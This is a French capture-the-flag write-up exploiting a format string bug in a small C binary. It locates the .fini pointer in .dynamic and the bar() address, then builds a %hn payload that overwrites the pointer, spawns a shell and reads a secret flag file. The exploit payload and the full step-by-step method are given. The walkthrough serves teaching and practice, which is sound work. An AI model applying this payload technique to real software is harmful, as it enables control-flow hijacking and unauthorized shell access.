Ici, l'épreuve est simple. Une fois de plus, un binaire nous est donné avec son code C associé.
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int target; void bar() { system("/bin/sh <>/dev/tty"); _exit(EXIT_SUCCESS); } void foo() { char buffer[512]; fgets(buffer, sizeof(buffer), stdin); printf(buffer); exit(EXIT_SUCCESS); } int main() { foo(); return EXIT_SUCCESS; }
On s'aperçoit alors très vite qu'un Format String est présent.
En effet, la fonction printf est utilisée sans formateur. On peut donc s'en servir pour obtenir les informations que nous voulons et réécrire à n'importe quel endroit.
Étant donné que c'est un cas d'école, je vous laisse le soin d'aller vous renseigner vous-même sur le format string si vous ne connaissez pas (par ex. en lisant ce tuto : http://wiki.zenk-security.com/doku.php?id=failles_app:format_string).
Ici, je vous propose d'exploiter le pointeur qui mène vers la section .fini (http://l4u-00.jinr.ru/usoft/WWW/www_debian.org/Documentation/elf/node3.html, on pourrait sans doute exploiter celui qui mène vers la fonction exit aussi mais je n'ai pas trop regardé) et de le remplacer par l'adresse de la fonction bar. Cette section contient le code qui sera responsable de “terminer” l'application.
Pour cela, nous allons d'abord faire afficher l'adresse des sections grâce à readelf :
$ readelf -S vulnerable ... [13] .text PROGBITS 080483e0 0003e0 0001e2 00 AX 0 0 16 [14] .fini PROGBITS 080485c4 0005c4 000014 00 AX 0 0 4 [15] .rodata PROGBITS 080485d8 0005d8 00001b 00 A 0 0 4 ...
L'adresse de notre .fini est donc 0x080485c4. Il nous faut maintenant trouver l'adresse du pointeur à réécrire. Nous allons donc simplement désassembler les sections grâce à objdump. Nous savons (http://www.shrubbery.net/solaris9ab/SUNWdev/LLM/p14.html) que cette section est créée par le link-editor au moment où un objet dynamique est créé. Nous la retrouverons donc dans la section .dynamic de notre binaire :
$ objdump -s vulnerable ... Contenu de la section .dynamic: 8049724 01000000 01000000 0c000000 34830408 ............4... 8049734 0d000000 c4850408 19000000 18970408 ................ <--- on retrouve bien notre adresse à 8049738 8049744 1b000000 04000000 1a000000 1c970408 ................ 8049754 1c000000 04000000 f5feff6f 8c810408 ...........o.... 8049764 05000000 50820408 06000000 b0810408 ....P........... 8049774 0a000000 65000000 0b000000 10000000 ....e........... 8049784 15000000 00000000 03000000 10980408 ................ 8049794 02000000 38000000 14000000 11000000 ....8........... 80497a4 17000000 fc820408 11000000 ec820408 ................ 80497b4 12000000 10000000 13000000 08000000 ................ 80497c4 feffff6f cc820408 ffffff6f 01000000 ...o.......o.... 80497d4 f0ffff6f b6820408 00000000 00000000 ...o............ 80497e4 00000000 00000000 00000000 00000000 ................ 80497f4 00000000 00000000 00000000 00000000 ................ 8049804 00000000 00000000 ........ ...
On retrouve assez rapidement notre adresse (en little-endian) à 0x08049738. C'est donc ce pointeur qu'il va falloir que l'on réécrive avec l'adresse de notre fonction bar.
Pour retrouver cette adresse, on pense au départ à un simple objdump. Seulement, on s'aperçoit rapidement que le code est dans la section .text. Nous allons donc utiliser grep pour repérer rapidement notre fonction et nous éviter de chercher dans toute la section .text notre fonction. Pour cela, nous savons qu'un appel à system est fait. Nous allons donc utiliser grep sur ce mot et faire afficher les 4 lignes avant et après cette valeur pour retrouver notre fonction :
$ objdump -D -M intel vulnerable | grep -B 4 -A 4 system 8048390: ff 25 24 98 04 08 jmp DWORD PTR ds:0x8049824 8048396: 68 10 00 00 00 push 0x10 804839b: e9 c0 ff ff ff jmp 8048360 <printf@plt-0x10> 080483a0 <system@plt>: 80483a0: ff 25 28 98 04 08 jmp DWORD PTR ds:0x8049828 80483a6: 68 18 00 00 00 push 0x18 80483ab: e9 b0 ff ff ff jmp 8048360 <printf@plt-0x10> -- 80484dd: 55 push ebp <-- début de bar 80484de: 89 e5 mov ebp,esp 80484e0: 83 ec 18 sub esp,0x18 80484e3: c7 04 24 e0 85 04 08 mov DWORD PTR [esp],0x80485e0 80484ea: e8 b1 fe ff ff call 80483a0 <system@plt> 80484ef: c7 04 24 00 00 00 00 mov DWORD PTR [esp],0x0 80484f6: e8 85 fe ff ff call 8048380 <_exit@plt> <-- fin de bar 80484fb: 55 push ebp 80484fc: 89 e5 mov ebp,esp
L'adresse à donner est donc 0x080484dd.
Nous allons maintenant utiliser la formule donnée dans Gray Hat Hacking 3rd Edition pour construire notre payload (cf. tableau page 232).
On découpe donc notre adresse en deux parties : 0804 qui constituera la partie “high-order bytes” (HOB) et 84dd la partie “low-order bytes” (LOB). HOB < LOB, nous allons donc suivre la formule de gauche du tableau qui dit la chose suivante : [addr + 2][addr]%[HOB - 8]x%[offset]$hn%[LOB - HOB]x%[offset + 1]$hn (où addr est l'adresse que nous voulons réécrire (à mettre en little-endian) et offset le nombre de pointeurs à passer avant de réécrire notre adresse).
$ ./vulnerable AAAA_%x_%x_%x_%x AAAA_%x_%x_%x_%x AAAA_200_f7714ac0_0_41414141
L'offset sera donc de 4. On obtient donc la payload suivante : “\x3a\x97\x04\x08\x38\x97\x04\x08%2044x%4$hn%31961x%5$hn”. Nous n'avons plus qu'à lancer notre exploit :
$ python -c 'print "\x3a\x97\x04\x08\x38\x97\x04\x08%2044x%4$hn%31961x%5$hn"' | ./vulnerable sh-4.2$ cat /home/exploit-4/.secret paevoo5Ool
Le flag est “paevoo5Ool”.